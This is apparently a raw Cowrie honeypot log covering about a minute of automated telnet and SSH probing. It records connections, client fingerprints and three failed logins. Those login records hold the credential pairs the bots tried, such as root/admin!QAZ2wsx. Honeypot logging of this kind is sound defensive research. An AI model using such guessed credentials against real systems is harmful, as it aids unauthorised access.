{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52654,"dst_ip":"10.17.0.5","dst_port":23,"session":"68011f8e11f0","protocol":"telnet","message":"New connection: 64.227.101.30:52654 (10.17.0.5:23) [session: 68011f8e11f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:32.376958Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52002,"dst_ip":"10.17.0.5","dst_port":23,"session":"70ffff02e14c","protocol":"telnet","message":"New connection: 64.227.101.30:52002 (10.17.0.5:23) [session: 70ffff02e14c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:33.853084Z"}
{"eventid":"cowrie.session.closed","duration":45.37149262428284,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:34.666068Z","src_ip":"68.183.198.12","session":"61d0305a2d39","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00289607048035,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:36.717984Z","src_ip":"64.227.101.30","session":"5d98e55272ad","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.70027470588684,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:37.424397Z","src_ip":"64.227.101.30","session":"d7bf61c56a57","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":58.50917673110962,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:38.633863Z","src_ip":"64.227.101.30","session":"58948917828d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":37.81969618797302,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:39.979746Z","src_ip":"64.227.101.30","session":"7d714bb52faf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":53732,"dst_ip":"10.17.0.5","dst_port":23,"session":"d8c3b4066912","protocol":"telnet","message":"New connection: 64.227.101.30:53732 (10.17.0.5:23) [session: d8c3b4066912]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:41.307437Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56778,"dst_ip":"10.17.0.5","dst_port":23,"session":"767f828945f0","protocol":"telnet","message":"New connection: 64.227.101.30:56778 (10.17.0.5:23) [session: 767f828945f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:41.476769Z"}
{"eventid":"cowrie.session.closed","duration":1.2910892963409424,"message":"Connection lost after 1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:42.598406Z","src_ip":"64.227.101.30","session":"d8c3b4066912","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.660624265670776,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:42.793052Z","src_ip":"64.227.101.30","session":"91bd815c81ea","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":47900,"dst_ip":"159.203.135.109","dst_port":23,"session":"4695b9d41631","protocol":"telnet","message":"New connection: 68.183.198.12:47900 (159.203.135.109:23) [session: 4695b9d41631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:43.210295Z"}
{"eventid":"cowrie.session.closed","duration":42.59792399406433,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:44.028039Z","src_ip":"68.183.198.12","session":"33daf284f4fe","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":49.12483096122742,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:44.070482Z","src_ip":"68.183.198.12","session":"72cc9d3a7945","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":57832,"dst_ip":"10.17.0.5","dst_port":23,"session":"52923a20c867","protocol":"telnet","message":"New connection: 64.227.101.30:57832 (10.17.0.5:23) [session: 52923a20c867]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:44.991075Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":58374,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f357dd95f8d","protocol":"telnet","message":"New connection: 64.227.101.30:58374 (10.17.0.5:23) [session: 6f357dd95f8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:45.246662Z"}
{"eventid":"cowrie.session.closed","duration":46.368084192276,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:50.517164Z","src_ip":"68.183.198.12","session":"b1da6e8ac5a5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":32780,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d175e4ab708","protocol":"telnet","message":"New connection: 64.227.101.30:32780 (10.17.0.5:23) [session: 1d175e4ab708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:52.228438Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":34316,"dst_ip":"10.17.0.5","dst_port":23,"session":"131895c8dddc","protocol":"telnet","message":"New connection: 64.227.101.30:34316 (10.17.0.5:23) [session: 131895c8dddc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:54.250259Z"}
{"eventid":"cowrie.session.closed","duration":36.74738669395447,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:54.422747Z","src_ip":"64.227.101.30","session":"712cf70a193b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.57782435417175,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:56.221639Z","src_ip":"64.227.101.30","session":"c5344e914e94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":49854,"dst_ip":"159.203.135.109","dst_port":23,"session":"c237c27d2764","protocol":"telnet","message":"New connection: 68.183.198.12:49854 (159.203.135.109:23) [session: c237c27d2764]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:17:56.852577Z"}
{"eventid":"cowrie.session.closed","duration":39.24496936798096,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:00.476239Z","src_ip":"64.227.101.30","session":"e17ca4f4765b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":49600,"dst_ip":"159.203.135.109","dst_port":23,"session":"e0fa6157e296","protocol":"telnet","message":"New connection: 68.183.198.12:49600 (159.203.135.109:23) [session: e0fa6157e296]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:02.022798Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":50564,"dst_ip":"159.203.135.109","dst_port":23,"session":"aa2d17312d92","protocol":"telnet","message":"New connection: 68.183.198.12:50564 (159.203.135.109:23) [session: aa2d17312d92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:02.257910Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":38538,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8e79c7be4fa","protocol":"telnet","message":"New connection: 64.227.101.30:38538 (10.17.0.5:23) [session: e8e79c7be4fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:03.700603Z"}
{"eventid":"cowrie.session.closed","duration":2.3734734058380127,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:04.396137Z","src_ip":"68.183.198.12","session":"e0fa6157e296","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":2.451268196105957,"message":"Connection lost after 2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:04.709065Z","src_ip":"68.183.198.12","session":"aa2d17312d92","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":60578,"dst_ip":"10.17.0.5","dst_port":23,"session":"8119dcfe80db","protocol":"telnet","message":"New connection: 64.227.101.30:60578 (10.17.0.5:23) [session: 8119dcfe80db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:05.444456Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":50252,"dst_ip":"10.17.0.5","dst_port":22,"session":"e57dbb8502b6","protocol":"ssh","message":"New connection: 193.32.162.145:50252 (10.17.0.5:22) [session: e57dbb8502b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:06.484949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:06.490311Z","src_ip":"193.32.162.145","session":"e57dbb8502b6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:06.597420Z","src_ip":"193.32.162.145","session":"e57dbb8502b6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"sollet123","message":"login attempt [ubuntu/sollet123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:07.022470Z","src_ip":"193.32.162.145","session":"e57dbb8502b6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.54311776161194,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:07.761990Z","src_ip":"64.227.101.30","session":"1e2107e73874","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:08.128907Z","src_ip":"193.32.162.145","session":"e57dbb8502b6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":51650,"dst_ip":"159.203.135.109","dst_port":23,"session":"fb67e6b81ed3","protocol":"telnet","message":"New connection: 68.183.198.12:51650 (159.203.135.109:23) [session: fb67e6b81ed3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:09.057959Z"}
{"eventid":"cowrie.session.closed","duration":42.965670585632324,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:09.165675Z","src_ip":"64.227.101.30","session":"db08802639fc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":37968,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a96f985f885","protocol":"telnet","message":"New connection: 64.227.101.30:37968 (10.17.0.5:23) [session: 9a96f985f885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:09.803144Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":42390,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b11684f2cd4","protocol":"telnet","message":"New connection: 64.227.101.30:42390 (10.17.0.5:23) [session: 6b11684f2cd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:11.100393Z"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":43170,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a64cfadff8b","protocol":"telnet","message":"New connection: 64.227.101.30:43170 (10.17.0.5:23) [session: 5a64cfadff8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:11.433960Z"}
{"eventid":"cowrie.session.closed","duration":38.84222650527954,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:12.695200Z","src_ip":"64.227.101.30","session":"70ffff02e14c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.49744915962219,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:12.874320Z","src_ip":"64.227.101.30","session":"68011f8e11f0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":46250,"dst_ip":"10.17.0.5","dst_port":23,"session":"05985cfb7039","protocol":"telnet","message":"New connection: 64.227.101.30:46250 (10.17.0.5:23) [session: 05985cfb7039]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:17.013455Z"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.198.12","src_port":53068,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfe6cadf18db","protocol":"telnet","message":"New connection: 68.183.198.12:53068 (159.203.135.109:23) [session: bfe6cadf18db]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:18.159981Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.165.185.71","src_port":48984,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8afb132a33a","protocol":"ssh","message":"New connection: 43.165.185.71:48984 (10.17.0.5:22) [session: c8afb132a33a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:18.571584Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:18.576051Z","src_ip":"43.165.185.71","session":"c8afb132a33a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:18.741711Z","src_ip":"43.165.185.71","session":"c8afb132a33a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgrespassword","message":"login attempt [postgres/postgrespassword] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:19.440720Z","src_ip":"43.165.185.71","session":"c8afb132a33a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:20.610013Z","src_ip":"43.165.185.71","session":"c8afb132a33a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":49356,"dst_ip":"10.17.0.5","dst_port":23,"session":"379508664fc6","protocol":"telnet","message":"New connection: 64.227.101.30:49356 (10.17.0.5:23) [session: 379508664fc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:23.403769Z"}
{"eventid":"cowrie.session.closed","duration":43.06465244293213,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:24.541316Z","src_ip":"64.227.101.30","session":"767f828945f0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.86416721343994,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:24.855114Z","src_ip":"64.227.101.30","session":"52923a20c867","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.7676784992218,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:25.014152Z","src_ip":"64.227.101.30","session":"6f357dd95f8d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":8.729788780212402,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:26.889611Z","src_ip":"68.183.198.12","session":"bfe6cadf18db","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":51998,"dst_ip":"10.17.0.5","dst_port":23,"session":"37b0d47195fd","protocol":"telnet","message":"New connection: 64.227.101.30:51998 (10.17.0.5:23) [session: 37b0d47195fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:26.938114Z"}
{"eventid":"cowrie.session.closed","duration":33.08964967727661,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:27.339793Z","src_ip":"64.227.101.30","session":"131895c8dddc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":52434,"dst_ip":"10.17.0.5","dst_port":23,"session":"38478482c6c8","protocol":"telnet","message":"New connection: 64.227.101.30:52434 (10.17.0.5:23) [session: 38478482c6c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:27.717823Z"}
{"eventid":"cowrie.session.closed","duration":49.92109417915344,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:33.131255Z","src_ip":"68.183.198.12","session":"4695b9d41631","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"200.118.150.20","src_port":46702,"dst_ip":"159.203.135.109","dst_port":22,"session":"d4d91a7a4487","protocol":"ssh","message":"New connection: 200.118.150.20:46702 (159.203.135.109:22) [session: d4d91a7a4487]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:37.206379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:37.211833Z","src_ip":"200.118.150.20","session":"d4d91a7a4487","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:37.302969Z","src_ip":"200.118.150.20","session":"d4d91a7a4487","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!QAZ2wsx","message":"login attempt [root/admin!QAZ2wsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:37.691675Z","src_ip":"200.118.150.20","session":"d4d91a7a4487","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":56156,"dst_ip":"10.17.0.5","dst_port":23,"session":"7588394eefe2","protocol":"telnet","message":"New connection: 64.227.101.30:56156 (10.17.0.5:23) [session: 7588394eefe2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:38.268829Z"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:38.784000Z","src_ip":"200.118.150.20","session":"d4d91a7a4487","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.90379524230957,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:39.604254Z","src_ip":"64.227.101.30","session":"e8e79c7be4fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.56929659843445,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:41.003163Z","src_ip":"64.227.101.30","session":"5a64cfadff8b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.56556820869446,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:42.793892Z","src_ip":"64.227.101.30","session":"1d175e4ab708","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.227.101.30","src_port":33764,"dst_ip":"10.17.0.5","dst_port":23,"session":"7110e539aa53","protocol":"telnet","message":"New connection: 64.227.101.30:33764 (10.17.0.5:23) [session: 7110e539aa53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T16:18:45.297014Z"}
